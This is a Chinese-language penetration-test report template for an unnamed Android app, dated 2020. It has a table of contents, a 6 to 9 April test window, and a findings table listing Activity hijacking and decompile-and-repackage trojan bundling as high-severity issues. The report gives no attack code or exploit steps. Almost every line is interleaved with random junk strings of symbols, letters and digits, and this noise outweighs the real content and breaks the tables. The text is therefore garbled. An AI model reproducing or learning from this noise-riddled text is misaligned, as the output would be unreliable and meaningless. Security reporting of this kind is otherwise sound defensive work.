% W+ F& [6 _ k% o- |- P% @
- K* B9 a" A1 V1 |- Q+ t2 S" Y* c
7 c: [! ]& Y- ~7 o6 q8 d* w. k+ d+ z \7 c, x( F3 T/ T
% q! w( G; }" H9 P: b& t# k
$ R0 O4 c3 H+ J/ J, t
& a4 X' L$ ^) h% \1 B7 I' E. B
_6 t% W8 D2 F# D
- W4 {7 _; N! L1 w# Q% {8 F# h" Z O' f8 S- b0 r. |6 }
! a9 Y* U. M$ N9 X
. F+ r( V0 O- H1 \$ D
文档编号:
0 X6 g. E% E% e i: k3 B
* B G+ H+ |/ t4 o( y: X' Q/ N
* ~' U3 A/ `( a$ n! W( E0 l9 J
& ~ L# b/ L: O1 j1 s+ {* e
/ p5 `) Q, o+ R: ^) H1 w# _
- u; a, a# P ]
H4 r# l, H2 f+ D5 p1 W! u3 w+ S+ C/ r! {7 V; V
* [/ y J0 T% M$ D9 @% Y
" M q: R8 l0 U) ]- ]; L, }
8 }4 Z) p; N' b; o! j( _7 V. @
8 z& M+ M: J9 X; V8 n# [ n
$ u7 T0 X* |; Q& M$ J- b" J& {8 i; Q/ ?7 |" W1 K+ f
7 e. j, P7 N u4 B6 Q) h$ X
6 p! i& p; ~! P, g3 p( _& }2 S
0 u6 y" U* }; f6 s) U/ J& C% i
2 G% Z' \0 Y2 G: ]4 s( U1 P8 B
1 d+ p% K5 u" I
7 e) A# |: L! j. D0 h( q& w' m
$ x! w7 v! s( k' B7 j+ U' I( s7 W' s. ]
$ q1 Q5 L/ L" W& B5 ^ W! m
7 `+ c6 v( q" o+ \/ E; b3 o
, s/ I- V4 M; V: K
; C8 W. y! R" h7 w$ n/ U7 z
z( o3 R! b# P/ u2 m, }' c4 c! r7 E) M; s" w, Z; l
* c' R6 E9 N/ s2 P
2 o3 m7 n1 c7 ? . [1 e3 U% Q) v; c/ l5 |6 }* |" F
6 c/ q" M/ l# ]4 }9 A& G b
$ g o } I7 E5 K6 H2 T
6 _8 M+ y! Z6 G \& \% q
. h& F3 B2 d- W% \1 Q# C
2 @/ }% x+ o( B9 E7 J3 i" N 某某某APP渗透测试
( f+ q5 e: l0 T5 {5 \8 N
# l( {" G0 ^) L. q
1 O! j& T0 f/ E1 o% }. L% u9 J+ b3 s2 q D( j$ g) ~& x: s
' y' d2 s/ L7 h3 y& c- _( J6 D" f
5 P% Z4 D# z. d7 v$ a# [
0 c1 F* m( h' I' A2 a. }- a: B
# b* h' N, [, T) G/ r9 h0 X* Z7 i
3 p. {! L' m6 [) m
2 r2 @4 ]/ S$ C' N2 u
& d `% l0 J8 y; O- S $ m; H$ D# [+ _0 ~
. m* w1 _2 v, n
9 F P: b, |$ W% n: Z L+ s; v" B" W9 a3 E {- r' H7 g% B8 Q4 ]
6 e7 B( @ {; c# P; K: ]# k
, e. c5 H U* n5 ~6 h2 G ; n! q" q: L( g, l! K) d
. ~5 i5 t* a! y4 `" X" M# z j
* m; F V% H B0 I3 O
) j2 M& ^7 n# N5 w! a
. D3 ] t( S( G7 B3 @3 k: v2 @4 `& ^. m3 Z: i2 Y2 \
% |1 l1 t$ A+ q( `# [$ x7 U1 R _
$ U: N; I- V% C2 T: V2 c
- w/ b# ? q/ u1 [' { d
v; {0 F9 [- t# H* Y; v 7 c( n5 {" ]4 S# c! [$ S) c
) O/ Y: o" y; f% i 技 术 报 告 ! X$ }2 Q+ Q( E q0 \+ P$ p, E
J8 C6 D0 L4 W* E$ @6 q
+ W3 a4 C X7 }7 k& {
8 ]% e7 g$ g1 s4 S, ]: l; w 6 o0 P* Z6 o, |4 h# t C0 f
1 ^. F5 J: ^; f" ^2 o, H
: @6 {9 @% \% Q5 q4 Q& E
& d6 ]7 n# w% T6 f* E1 M+ W) c
6 G# u( h, d- H7 C
% f) g8 o8 e4 J* A O
`9 S& Q/ m, h, a$ O' }/ L
7 L6 e1 f9 a3 o$ V8 T8 Q6 o) l
( h l$ p g. Y' {. C1 I$ c
; `5 r6 g# ] ~4 y
; Z" D1 h3 x* I+ x8 \4 Z
' j# h" t) y; B/ g: g, O ~
! r) v9 w, l& K' L" E% s/ l& O
7 T% E, ^( X8 U" r4 B+ V7 `
" `, Z! ?9 B" D/ N
( w* T6 o; ~, }. f5 \
2 d7 g2 L5 U8 c& {' W$ p y
, g/ ]/ j+ e4 V: a
! G# m; Y8 N2 d. }, z
3 p" P6 F L% L; Q( F" P. W& x. e
$ ~8 M! x! _: `9 V0 I$ q1 w/ D+ D% ^1 P# H
2 o8 z: g1 A7 m# ~9 ~* ^
3 s0 W3 q) C; F h5 c& m # h0 S2 u8 e& p$ g" `1 h
9 M0 E6 `: q* u0 T, |( [0 P
: d( Z2 q2 c- q8 O% u/ E% R4 |8 [( V, g k/ E/ T4 t
4 p% {: \0 b; X3 p9 o; L
2 {8 G8 x& C0 ^+ e2 X3 ?& c
: A& _9 y7 W; y$ \; F! z: `5 m8 A
- D& g" M; L1 {. S- k9 F
: n; u& N" U O% H0 ^
% T9 U4 B4 U P7 u* M, k1 {* W) O- r2 w9 z; ~' n" z( Q. g# I
- `* r7 O4 ^: I$ J- l* R$ F5 E0 H; l( `3 f" d: ] ~* w0 ^0 {
1 s2 O* W1 V8 D- U; v
: r6 I$ k9 Y# H l
2 o8 X2 W% p7 V. O) [4 ~) d+ c
7 m0 a) |7 I6 n, o" Z- r# o
. q$ Z6 l8 G# K6 T( R
5 g# j/ H- e3 \& ~3 w0 s8 V
6 a) ~0 }$ o9 H/ \9 {
9 r' Q9 r( ?" a$ w2 o) W" t/ {
6 r" {, T% f& x2 V" L
7 ~& B+ q9 w7 y7 g5 F
4 G7 l) L- T* l' d/ j3 m1 w* x& U6 X- L
+ C0 r- _9 o6 K
' ^. i& l( |4 h% W/ E( D5 t6 Y k
1 T. P' g& w/ I. y! n' P. Q" M
! j! X5 h) b; H- Q . w3 X* p/ o$ t) R3 k/ i+ c* ?$ X$ f
- ]0 D6 x- I9 _- @! X: x! j & X$ c9 a7 Q4 l6 I' s$ B9 G
( U' h) U3 D- ~! z" K
+ |% \+ w s' `2 e- P! v, \- S# |: ?4 D3 t
% l! e2 y, B }" G% j
6 o7 @7 x% h7 c) A3 R 1 e. c/ c4 Y4 F" I0 [' m
, l' i0 l2 K0 C2 G' \
" ?* D8 j4 Q2 [6 g1 z* H" O$ E: M e; k) J5 K5 z6 ~
' {: Q7 \7 @7 \* D. a
* s5 b0 x% X" Z/ { - c7 h6 r5 W% D) K
9 v" H1 R# |$ B" Z" t
9 G2 S, H9 }0 l; W: @# t" J( p
$ u; W( j/ T/ x" q& U. ]0 s- _) p0 n
# u: D9 |0 p. x+ h* ?) Y0 K
* S h9 f4 ?% r. w & @8 Z; U$ i& B' t
- h' u3 p- p+ Z9 j( m& U
7 I, ]& v/ [* q. `2 V
) t9 V4 u1 b$ B1 L' Z 4 ^. U! _9 p8 v* r2 C" A$ g
2 z2 U/ s; g i7 X/ j5 T
5 Z6 b* r4 b" G, }+ ~* Y0 n6 _ b" U) Y$ _8 p2 V8 {; S
0 @; n2 W5 N) S" h& L* M) [+ @1 j( L. m7 ?: _7 w& N. K
4 K! M! c; X! R6 ?0 m# C
4 i( V6 j0 v" c9 C, e
7 ^3 L; q; J7 y7 k* e* y9 i# g% l( O9 i$ H; P- J
, }! ^" b S- y
2 V3 s5 N) C( e9 \
6 D9 {% m4 ^; v- u, J* ?9 T# H, g" E$ {6 {4 z3 O
# s8 @" Y- y' i# D
9 C1 N, w# ~1 i3 j/ L- }
) x+ P# y7 ?8 R7 H% h- A h, K1 _% h3 V" H( j" M4 Q7 V
~/ {* K3 A# B) U" J- F0 P9 [+ Z. B8 w# P- U
' ~) O1 d5 [! }6 u( j7 G2 G5 S9 T6 q3 B9 b1 c: a+ c
! I" z b3 d4 N. e
! D/ G6 b7 f" C# g8 J Q8 ]. A' q
: M) G3 ]7 `3 B& T) x& D
$ j- u7 v5 a5 W" u
- }% Z" D' ~" V4 \: S, g
; l0 p7 ~5 K1 d4 `/ D, h7 |3 Y
" i; }# k5 I0 N: ?8 U% I e3 y4 {7 q1 Q* m* @1 T0 V+ G4 Z" u
" E- R& L' w$ j/ w( `8 e2 U% y @5 H, s! C8 m2 z* x6 L
二〇二〇年 9 j# e) n. q( N# P) p0 X) k
; y& p6 c9 C( i4 {2 }- w7 [7 D2 ?& a
1 ^ e6 X3 r e
- T2 Q+ v5 G. E4 p* _
2 o/ o- Q% P J6 _& }- G! u& n( o* H, Q. K! j* ]: I
6 e& @' g5 [- n# e6 l
) n- E! w) {. L4 B. @ . l4 w: G: a r6 l: X
( b9 `) P' O9 X) a% j3 H
. B" l( J5 s; n6 F4 _3 d# i2 V) O" b5 d) \: [* [6 t
* i/ g, _$ h0 V4 L, O- ]
0 j# y1 N* v+ a4 j1 z! v
2 \; p0 h& s" T3 Q* i
l) V1 K! J7 T0 B: y, S% {& ]4 c
& W4 l4 e! ^! R2 b9 t+ P% [8 Z0 G7 } m x- u9 o+ L9 S( `6 S
, f: p/ S% p: I5 d
4 b4 H" j! u! ]9 ~: e W2 `, c J* J& |9 Y' F8 B
# N3 ]! a) t* |& | 目 录 1 z2 L( {& L& |1 n4 u% ?- @
" {& Y. a* E3 Q; i. [- x* E- H+ X
" P2 p7 y7 d( ?) ?* f, A# F5 \& F0 ]0 V" h. b0 M
& Z; F7 a* C1 ~0 `3 m: m. y
) k P% |4 M! O; F9 X 8 j+ m( Y2 t! e' w# ?& { s/ F
" D: k7 ^" q5 v+ k/ a: b6 ]% ^. l9 s 7 d8 N8 @* B4 o- @, _5 d/ n( F
- z8 K5 D5 ^4 q
8 Q8 I4 C& O6 D/ w) J+ |
* z/ M, o/ K' q - g$ Q6 t5 h1 b( W8 R
% m& Y& b) D- n6 L7 L( d) r 1 概述... 3
' d/ F' W7 I. m& v/ k. r) ~) p! A) y1 M) i$ i$ W0 W7 c7 T) ~
, r- b/ i9 q( D& H0 ]& o7 M! P
, G# v' j6 s7 d& U% U. _
& c/ z3 G4 X* h$ F3 g8 ?+ ` 1.2测试时间... 3
# l- V' c& i, M' L1 V& ^: Y; ^
: H) Z5 Z# \1 `% H
9 U. f, _/ `( k- g, P" Z! {2 ?: L% t: Z, W; c' U; ]
6 z4 ]7 T, h# `4 y$ G7 B2 C$ i3 a) g0 ?- n6 ~% ^
1.3测试对象... 3
1 N2 m5 p) G p9 e* {, a+ b
+ _5 _8 @1 d/ ^( k% {
. n# X! v' Z+ x8 D, x( q+ U; ^2 ]7 Q( |' w+ o$ t
9 T& X* k, b8 U" u/ ~" L, k8 c- y
$ a: P7 c) j/ |+ g' @ 1.4测试结果... 3 , Y5 o6 V# ]: ?. n2 h
0 o; d* R, y9 y0 m- {
# p+ z* D; W( e7 T* J4 H& K$ t
* R% @7 \% h7 O: X
8 O' ^" M8 V7 |! v- N, o% J* Y2 r( t- p( A
2 检测结果... 4 " _8 ]* |7 D r- h3 P( z
! E3 e- R: N4 C" P' C! m
0 N% q' e2 C3 e2 B& d# S( M
* ~5 F; k7 v6 G/ o2 Z
. ?. o9 u: }. n& Q/ ^6 t
% a+ A: O @+ ` 2.1 某某某... 4 3 B( {) W# ` S& y7 R V
9 e: j7 U( D( `% y% U4 D9 a2 Y$ q
' Q+ }& L% d& o; Z4 Y& I
: \, e2 n5 s u$ m- }/ F$ \ ! H+ d0 o9 E; h3 V8 }
c3 i0 ` p5 L; x6 s
2.1.1检测目标... 4 0 N! o! c1 Q% p7 [4 e' A
( _! d9 A4 ^3 l3 ?5 q
, g1 \0 G+ D- B* g9 a, D# T
+ ^& A5 }% w5 ?7 W' P8 {) N
/ Q9 ^! o4 Y6 j/ U2 X6 M& g& A* R8 E" W1 I% R2 G
2.1.2检测结果... 4
/ B6 @2 ^% W; M; e. d% }7 g
* w* D3 G# z8 a0 ` m4 g, {; \* A" j
5 i) V2 B0 r) \5 Q; p9 N6 E; D
6 B2 V& y, X0 u$ _
$ r, S+ M% G `& n$ m! h- {9 d. U9 f; W& h# |' w0 q" _! u
2.1.2.1. 4 ) Q4 I* G0 `" E: ]1 F6 j, I! [- k' C
7 J# f% y" d2 m1 v: j; X! U! N$ v
' M* v. x, h( C4 g$ g7 @* g& A. H" ?* P f
9 v1 _( G! U5 D4 k/ U1 Y: U
) n1 s; s6 R9 A" ] 2.1.2.2. 6
8 P3 u4 @0 u, a9 Q$ U9 w
' G8 d7 _ e& q, Q8 V( \
( E, h! \/ _& ~4 Z. E. G2 |
8 R* g3 Q2 r8 `- W: o) E
, Y$ J6 @5 @$ b/ V; t5 w( d, i2 H% W) p) P' m4 q
/ F: F' p3 M. e: m$ w
7 \. R- F2 z7 p; y
+ j3 M$ _; U8 _3 [% J8 d9 }) p. D( y9 h
0 J; X' L6 v7 a6 _1 _! Z8 }
7 d/ @' |5 z% n1 H# r1 w
8 s; z( c& P8 n" l9 B6 S
! @& w5 C2 \( z
; f7 W1 R& M( S9 n6 B4 K
. v( B7 ~3 b0 X. D
6 m: V8 X8 T5 R
8 O2 K1 E& F. N. s2 f% Y: E3 f" H
0 [: B- P' V0 p$ e
% _4 c2 O% [! Y; c8 @( `! n 1 概述 ! h6 I" Q. e6 X, }9 W' T! Q
6 q4 P! X E1 h% a. E" ^
; I# n: D! ^: s& u: O# o* q" M. N& ?- E' p$ c7 `
; i) @, v9 x# l0 l# l7 z7 l7 J
# A" q t! B! ] \0 k
1.2测试时间
2 a0 B/ C. a+ E+ i) @% V7 o* K7 t- y2 v$ j" m1 |
% J2 p8 C# r( C, w i
& w" O6 q2 B* k5 F, u
/ r& n' w4 R$ t0 F" y
4 Q' q2 \- D7 M! K7 x + @: a3 r w; H# _ T9 J' \/ M( X, a9 A
3 g6 @1 z C+ E y1 Q3 Z1 i m" y7 H- W& N3 D$ C9 ~
$ ^6 V' ` H4 F) O* `6 M, j/ B | % \8 J: j1 J6 `5 `
9 |- @) D2 ]8 n- Z. Y% D1 e6 G
* J4 C! z- q3 i1 `) |4 } h
4 P5 c1 V6 G; |" s& K1 W2 E: O3 y5 Y 渗透测试时间
( Q6 |# R8 a0 @! Q- I2 r* [% e4 e0 ^* \3 J
$ A' X# N9 H# M0 u+ u( |: ~2 d. T5 v" L; s* F
| / v+ ^5 ?1 I: F6 b9 T" A' I& O- C, P
+ D( m7 n7 n1 v0 y7 B. d
0 r/ X; M& b7 e
* z' g b: }, h; ? ' ?! E- y9 `9 E) N/ m
# H9 ~1 B8 R5 f' F6 \! M+ R |
+ b/ f' m# a7 S# M& o/ P ] l9 H5 p3 g9 ]4 M. h$ R1 O
; [: J+ O6 b* f5 O
& X5 Y! z$ e% M0 F* ^+ E 起始时间
& x7 o/ f+ Z6 X! C& e3 R4 g4 l4 q6 L& v
* r& q' D5 ?2 z6 u& q
! C1 _, Z' Y5 l+ _ | 6 P6 b5 T" I" S. }9 U
t9 W, L3 O% H7 ^$ ~
8 Y: m& M' z X* z
. f# P) m% j$ j9 M- g & p9 j5 F( Q8 C/ U0 X" E
6 W/ W) _0 ]3 N
2020年4月6日
7 \" a1 J' b8 b! X& O: ~5 j: ?1 e* y" r7 L0 f9 H* f: ]; H* F
' w# }* E5 U, K* b- g" T, {# d* y1 f' q
|
% D; \, p3 c* D- i! ~* h9 B0 T- M+ w# \ r
( Q. o& }' ]4 X' s9 t0 Q7 T& w9 l1 r
* m2 u+ k7 b6 @5 |. i/ X; Y6 C; N3 V [# e1 V# o+ G# X$ Y
|
1 i" I7 L' l) S2 J; D* m3 K$ b$ A
: K5 D3 {5 g- E) r: ]8 K9 e5 t, j2 I. A0 @- m
结束时间 3 |8 I! L9 q( \& Q
& \4 ?3 K" W" r% A" t1 f+ P! a
0 T; }/ [" b: ~2 j6 M F% ]7 m T' C2 _
$ o6 E' |) E; _$ ` | 4 [0 J' \1 j5 ~& U+ t3 t
1 D. v% i3 s+ r0 D8 u
; n/ v) W# q2 g3 y: S9 ?- z: W1 n7 ]4 ?. h3 k2 C q' i. i
3 t' a, U# J" ^2 G& @( X2 W, ~ P
; N2 ~+ n3 \5 ]9 |7 J/ [- A( Z7 w1 M 2020年4月9日 % j; W7 B; L8 X/ X. k' j
6 e, H! o8 z* x' k. N" J2 w3 \ 0 v* m. Q! i3 Q5 f6 P
' ^# e+ ]& C2 D- \* D- D3 w2 C
| , S- O" f" k2 z& b
0 B E+ | i# t
* L" R: i6 z$ v6 y7 n3 t% r+ _
4 \9 [- h$ D, V3 ?& h( d
% b: ^: g; J7 H# }& Y4 [9 D% ]: o, b* P7 l$ P; J$ d, f3 h
9 f/ j2 z8 e& K. E
1 ` N2 M/ Z# X6 ? 2 a5 q3 z/ @+ p* K/ A! I/ M
" ~6 Y0 R; ]: q 1.3测试对象 2 F+ o& W J# S0 u4 D
* m6 d' X' g. L% _& R( d
) @$ O, V) A/ `+ u9 H
4 ^' M. j# T3 p3 r( Y! j+ ?
# ~9 x3 h, v8 X- |$ Z
: ^' C, l# l! } 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ) G1 J P' _& X5 X
3 l2 r# ~0 n/ P3 F: Y9 ?- `" T y2 M2 J
# S3 l G' a0 p. x
: T; p9 Z) v0 u6 o" [" F8 O$ W) B7 r ^ # P, Z3 a" M, H( c- a
6 V" O' O' m2 [; b3 }) I
表1-1 检测对象 v1 y, S( }5 O7 I$ @. D
" F- ]7 @3 g5 C0 t& @
3 r5 A; O) b, J8 F. v
4 L+ x. D5 O$ g! @ ( \& \. \8 \! i
2 X" V' M+ G, b$ [. O
/ y F7 p; C; a. W4 l& ^2 {% K# i6 n) t/ J
: s {0 N- i. I" @6 D$ _
- y: J' g X$ J1 D! T1 `) k |
' P! {' z% y% L
' h. t, t+ b1 F7 W/ j: ]
! R# _/ T9 K: S7 {; M
5 L }* e& o; o0 s 序号
$ m4 F Q; A$ G' h# w2 X q" f. S- ]9 C5 }% ~6 W
+ O- k. u0 U* \9 ~3 e/ Q
. n, K9 ]& e) Q v | 2 ~4 n4 ], u0 L8 T
5 S! ~; b5 ]2 B% W$ u/ ]9 m
5 D* N, w/ s* G' ^7 k+ |* O( t9 a6 {/ u
0 I- R6 ^2 K2 ]0 k$ V# i
* i) Y, Q; `6 T5 @; H
测试对象
5 s) |3 N" y' o; Y6 ~+ W2 a2 I
, C7 J( K+ R& b# u3 Y
+ Q; o3 ?" o1 [0 r: H" c, i* \ |
! F) Z p* s. r
& [9 x1 n) e% @& Z2 ^ 9 s" }& G) {: w4 p2 u0 |; ~
# Z5 s& \1 k/ X0 V$ h8 L
# Q/ L1 `; v' R' I! F6 i! Z* I% b( B' v( c3 `! D2 V" C0 j
测试地址
4 E2 B) {, q$ n& g( K3 g
! S% |4 ^9 T1 k1 }9 y ; _9 H. u3 _2 T* h. Y/ J# v/ e
5 a& G3 L/ E( t; E% V( J5 e7 Z/ L |
5 M. a+ @! J n: @
" }1 y% H* k& B, I7 B% J' ^8 X
& z5 i3 i; f9 D# f" h
2 I3 R+ z+ N/ m/ ?" x0 z) Y- t
y) G: M3 A2 i" W9 a5 r3 e T U: u! J4 e- a
安全漏洞 $ Q2 f- i! o0 g
" y' ^7 x0 r, j, q7 ^. f & {9 f6 @9 g3 j, _) ?
' n" N. J, |9 V3 h; O9 }& f: B& b7 h |
% ]1 R f6 {( L$ h" Y& O; V$ `% c# R. ]. G' F1 u
A, _9 ?, \" L2 ?7 s6 q% b6 z( c. A8 q& i/ B: b2 _
' W1 `9 ^0 V/ u6 Y
% W Z7 n8 Z' ^8 `& [4 ^: D9 ~3 f
|
2 S5 Y# C1 `( i( Z& [
6 U& y, g2 ?4 ]1 o$ ^ / j& K& v1 s5 C! P% b3 r. @
2 @/ p) u+ z: F, g# O
1 4 [( W5 @7 {8 r; w& \: H
5 P- d+ N" W$ R8 P- [
0 @' E W3 {2 I
) P* F3 l% @' {9 V
|
2 ?, g9 O7 e2 a1 A; n i
7 ?8 i: U( `1 J. u/ h$ \2 z - `3 f8 Z; r# B- X( d% Q) X
% ]$ {: S/ n: ]% C2 ]. W/ r# ~
`- p6 c) o- X7 A& _$ c: x) x! ^) Q3 e" a7 ]4 g* i
某某某安卓APP # a |1 y& z1 }) f- d
; u" Z/ |2 l; A9 `
' `# N) [" k8 E( @0 y# A
( `+ i3 y2 P+ {* U | 0 z @( U6 U0 d" g' h" H
% W; i6 c- ]. @9 X : j9 B" K& S7 G4 D3 K9 M
. |" }0 ^" ~+ C; n
% I- [! Q8 `6 s j1 Y/ ?& C; r8 E" O% |/ C# {
1 ]; K% k1 z# }* ?# j1 r
- V* N4 G, i! Q, L # r8 t% M6 g: |- |$ y% A
: u( V5 A; a# `: V- _( u) ` | 9 |% U* _6 `: h3 l6 I8 k
8 w, M' V! ~; C) \2 _4 ~ $ F3 x+ j+ ~- G9 l+ ]: b' b8 ~* ~
+ r! a0 c) g z- U
+ g2 q6 n3 C1 B1 A# c+ p
8 s M O; h1 [: `
2
+ F5 k6 V- g% D! H9 G" _
4 X9 s# l9 l0 Q1 v: {
% r( m; ?( K2 e$ ]! {) v) Z$ A8 |# O; _; `0 j7 i/ G3 y6 x4 I
|
# Z7 u, F9 }) Z$ L0 z3 x8 T' `2 Z% x% z- z# F# A' ^+ C
9 w( n! H. ?% @9 P( j, ?: |
0 U' u: U k& W# J
/ ?, @, T* V! k$ ]2 s7 G
, y$ L, _. f8 \: R) R; y
Y+ b5 v+ A( C( b: p! O
7 D8 l I" Z- r4 W0 H
; T$ m, S, n/ U
' \2 I! a, R0 u" n9 n3 k0 _; D 1.4测试结果
6 y+ h6 }* V6 O- p, a" T: Q8 E, }3 x$ f
# Y5 m. k3 f+ G" a j3 P: O7 H
2 `! b- q( s7 ~$ A. P
8 C' j6 h- a2 ^: C
: f$ y' `6 p- _& y+ W5 ?
: K! J0 l* o+ R
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
5 G. W7 }, o J! W" l- Y+ ?2 P B4 K9 W, {+ Z! s3 H
: t D3 D! L' l& ?7 z1 a1 h
- @" v. F$ T% X) I/ Z* V/ l8 Y7 | $ q: D; Y1 [1 f8 h6 G& P) m
" c; [: y( H0 [% T2 \% u / I [; U6 i% m m, p5 w+ T* K
7 h/ g9 N9 l4 A7 b( I2 N
3 ]: |, V6 [ D! X! z7 q! m
1 { o3 a6 X7 c 0 W- S: ?$ j8 D9 \0 ?
* j4 r: {4 {) u: T0 d
( v# S" |% L6 M0 |+ x( g' W9 W! x6 o; X
% ]# S9 s) \ H, m" {+ o8 n1 |- C
2 R5 `0 l( t2 W2 P( d% p3 o7 r
/ [0 P4 e: I+ o4 k X8 W1 S8 ]# B! }% R
|
& d1 R! X. Z7 z: u
6 m5 W! `1 d; k0 y* d/ h+ J1 p
- ]+ Y# `1 B/ A/ `% s5 I# u$ X1 N. a3 i0 g7 Z
序号 / |1 o$ J* J$ u
9 k2 R* [0 y( E9 G - H' Z0 p7 r/ }+ ?' r, z) {$ r8 u
Q/ q! k( f/ i- a2 O
| ( N7 {, b/ p" p1 n0 i* p
& w( I* S6 z! S( P; ^ # V' b/ F( r5 t$ t$ r
# V4 Z3 B0 e9 d/ p# K M e
4 |; {0 z2 I8 P. ?- B8 A9 z
4 p: T- q# `& H! R% [ 系统名称
: x, |9 D* f p. ]2 j- h4 j# c, L y* v' f. Q# w3 a! j! s
0 `% t+ ~& m3 F! u9 J& F3 ?0 f! Q+ y
) W. C" z' H% j | 1 z9 {2 ^1 a8 B. \: _' B `/ M
7 o3 V" [+ Z7 T" v0 w 3 K+ N. O. L* p P$ _, C; ~( c
# ~% a8 D9 a/ g8 f5 x( a ( S. k# [# f4 R
" Y+ h5 ?" b8 v$ @
漏洞名称 . U9 Q3 k5 S0 u- q. d( ]3 \
7 @- N7 @ J; H* W. T, z
6 ~0 S @+ [5 i! } Y( ]9 r0 l: R
|
% B& d$ J7 N5 d9 P( w% a! U6 [: y4 }! y1 W% V% W
) z+ D3 [% m. t( h! k8 E
( ~& @+ i7 k& W( e
+ F6 a# e6 F( G! d5 C) G, `0 R& C* ^8 L; N; D% q
漏洞危害 4 a' C% T, L8 b* x1 b3 ~
" y. u# u J- R% K, X, B# {) X
7 q/ x0 A( ~! V. W( a0 g9 Q$ ?' A, h# E, V6 q
|
. h( Z* A* u- b, v" r6 u
# T1 `2 p/ |/ a( |* R9 |
$ Z" t" P4 a; t+ i! v5 w- A' q
( U4 o' G/ p" B) r% b . s8 r( X. K6 t$ O F( ?" C3 P
9 N' b- F8 Y- ^! x" j0 `
修复结果 + a, P) q) i- ?$ c ^
' L. Z. Q+ p- Z1 ~* v- N
6 q* ?( T2 y, Q8 Z( \' b
1 j7 X: X' V$ h0 G3 {& i8 | |
% L6 {9 n* {" x, \5 Q
4 s' ]; D/ ]9 g y" j/ f0 G
/ p5 U, N/ c; o, C
1 e, x, r4 R. u
% |- y8 j5 s/ o- G* Q9 q
3 e4 Y/ w8 D2 b: p3 ?' \ |
) [, |$ c1 d1 U' J7 `& N
7 {; X6 R7 }# ]; F) X* @/ H P; N# s( B: {/ z/ }, M
7 t: W1 U0 W1 _& \# i 1 2 c s! f! y8 j
. Q; {. p/ e: Q3 N- e, b
) J% n! w8 }* V' e6 c: F
& U: X- G$ s& b/ b9 O f( h% ` | 9 g# {6 T* H; C! X3 V
5 r% _7 \% U b9 w6 }- d5 ]6 D
- v4 W* \& ^; Q- K9 N
& j+ h0 f% R2 P
# D8 k$ S: ~( L' i
4 w. i) h# s5 j0 Y8 k8 p 某某某某某某APP
; Q' H1 p" v3 l# ]# r
2 H: ~2 |* }- S( ~: \
4 r! I) }: m- [5 q! A. f0 a
1 ~+ v- t- V# B5 @9 {. _8 ~9 R |
/ k, P5 z) X; m1 b) g% r, m B1 o4 Q. ?6 w; u# a7 s" h
# B7 z2 a$ }% W k/ p+ c. y0 Z3 i# e
1 Y, i# B4 y% C% b7 j
b- j: Q- G+ R5 ~" h) d) P. I D2 b3 ], t1 E* D3 t1 w+ z
Activity 劫持 % y7 ?$ K" O$ t1 l" |
- [# p6 c" G% z V X% ?( S
& P" U" s- N9 j6 I' m0 m b7 [% N( a* H' Q$ a" ]
' m. _- f: [; X
1 m, d4 k$ }( P4 D; H* j4 k9 r5 A
* D( l1 w; q. O1 L: n, W$ ?3 o" c* S' [: p* o
4 K! G% |3 t6 t; K7 s$ k+ s1 V
6 E6 \ ^8 I# z- C- L* ]- w4 Y |
3 X: U9 J/ w, }% ?; C ~* u4 [$ z+ ~1 q/ ~- T5 k/ Q
7 i, e: |9 h7 R) K
; G! \$ D9 }! ~- }/ x/ ~ ; w7 x4 S9 j" {9 l
3 q/ i; ~9 s6 X5 B8 @$ O7 m$ g 高 * M7 c; I d w+ K- ]& Q
/ ^+ c: }* C2 o$ v8 u
' Q' ~- Y0 G- i/ b8 p
( o5 Q0 a; E% O | 1 r# }( F L2 V. P! l
& e5 z9 q5 J* T. E
$ t+ P/ o0 c- p& a# K7 D6 W2 P
: a- K- e) g, Y! f# ~ D - f; r( ~. a; R3 y' H9 ~+ C
, J/ L/ E1 e+ z8 l# Y# L0 f* }
3 Q$ U) ^& @) P
2 o5 v- H* n: _3 C & i. P- ^2 S, @
* g6 ^) q0 g7 p- g: X
|
2 s$ _8 Z: ?" B$ N- v2 l& l! t8 Q6 N* D4 l4 J; _
4 R, _+ i% ], O/ ?+ z4 ]% v% R: y0 X: N% }" m8 R# u5 m/ j
3 I! K. o& @5 k, ~$ ~, G m, P6 U+ s# _# ? T
| 3 K5 X( Y# W) ]4 H1 }/ R) I+ f
7 Y7 G6 i S; s2 [9 @9 X
& W8 ]' h) h: O# ?) Z' E8 B$ O
+ {7 E' X# v8 f8 V8 u% { 2
' [) I) G7 G/ t+ f8 S, x3 ^3 R$ Z
; u, _; `3 d" V' s1 g+ Z
8 Q I/ m+ I) g. |9 V* V
| 0 [& e7 g: N0 q$ ?; L, |: ~
) A" Q8 K& u- U( T/ p$ N
: m( e( k- O) a( `4 R `
3 W, ~" g5 a5 L# J/ v, }1 F5 | / U8 h# Z& t; g0 W, t
8 R( q" Z: S+ M2 P, Z( x( K- o 某某某某某某APP ) Q! L4 f' d/ o
8 [+ S" \% S. J5 U# Q5 B5 G" B
3 {/ c/ Z* s6 {' c+ q o$ f1 L# C
/ r' p2 r& V6 Z+ ~) o. @ | 1 d! d! d. L( N
/ w7 q& v3 ~- S& x
$ d) T2 {- ~7 p* F, c# R! w
2 \7 M# _3 n- M# W 9 B1 k7 l8 M& c* v! ?) J. a
7 H# ?' b, t% R1 ~
反编译二次打包捆绑木马、篡改APP代码 9 }# q% O% F2 \1 F
8 _9 i& `0 a# U+ T/ P W) b
' N+ o8 l- A+ A8 n }
! j% z, i9 L& r7 }" | |
1 \* k& a$ Y) D9 L9 h; k: b. @6 f5 j# o l) z) X
- Y* V1 E+ u% _! u0 c
. T$ y5 X9 v4 q: P
8 E2 z7 M' F9 z; Q5 q8 P' ^% Z+ d1 B1 ]9 n: y
高 0 S5 f; F) |( o$ |
3 u o' l- Q$ Q. k / y) k% f4 A! |( V0 X$ V
3 l4 v0 }! h; ]& W7 J- z% A | ! s0 F9 Y0 T, J' I
- P: G7 C% O2 X$ w& D
) N3 W7 m- A$ F
w" V! V& x+ N$ l2 M
) `0 W' W. {: G' A7 C$ S, |" P$ g5 a/ i
7 R! v# L& N0 t( ]* r) D0 O# q! e. f- U' h
7 L, |2 |# D( K( J2 w8 W3 _
# S; a" U( Z8 V* Z' U |
, s! U5 B3 P5 M* y. V1 ] l
- N/ }, }/ o' m
3 ^4 h+ B4 _ Q4 A) L) ~7 b6 O
; c* M- e3 }; ~ v" Y
) w# ^! _( |1 s! y; S) U; O# U2 a' M
; w2 V V+ t( ?1 c; s/ x" p
9 {" m r% L$ h. I; o* |
* k; x* R4 a, _ {4 N
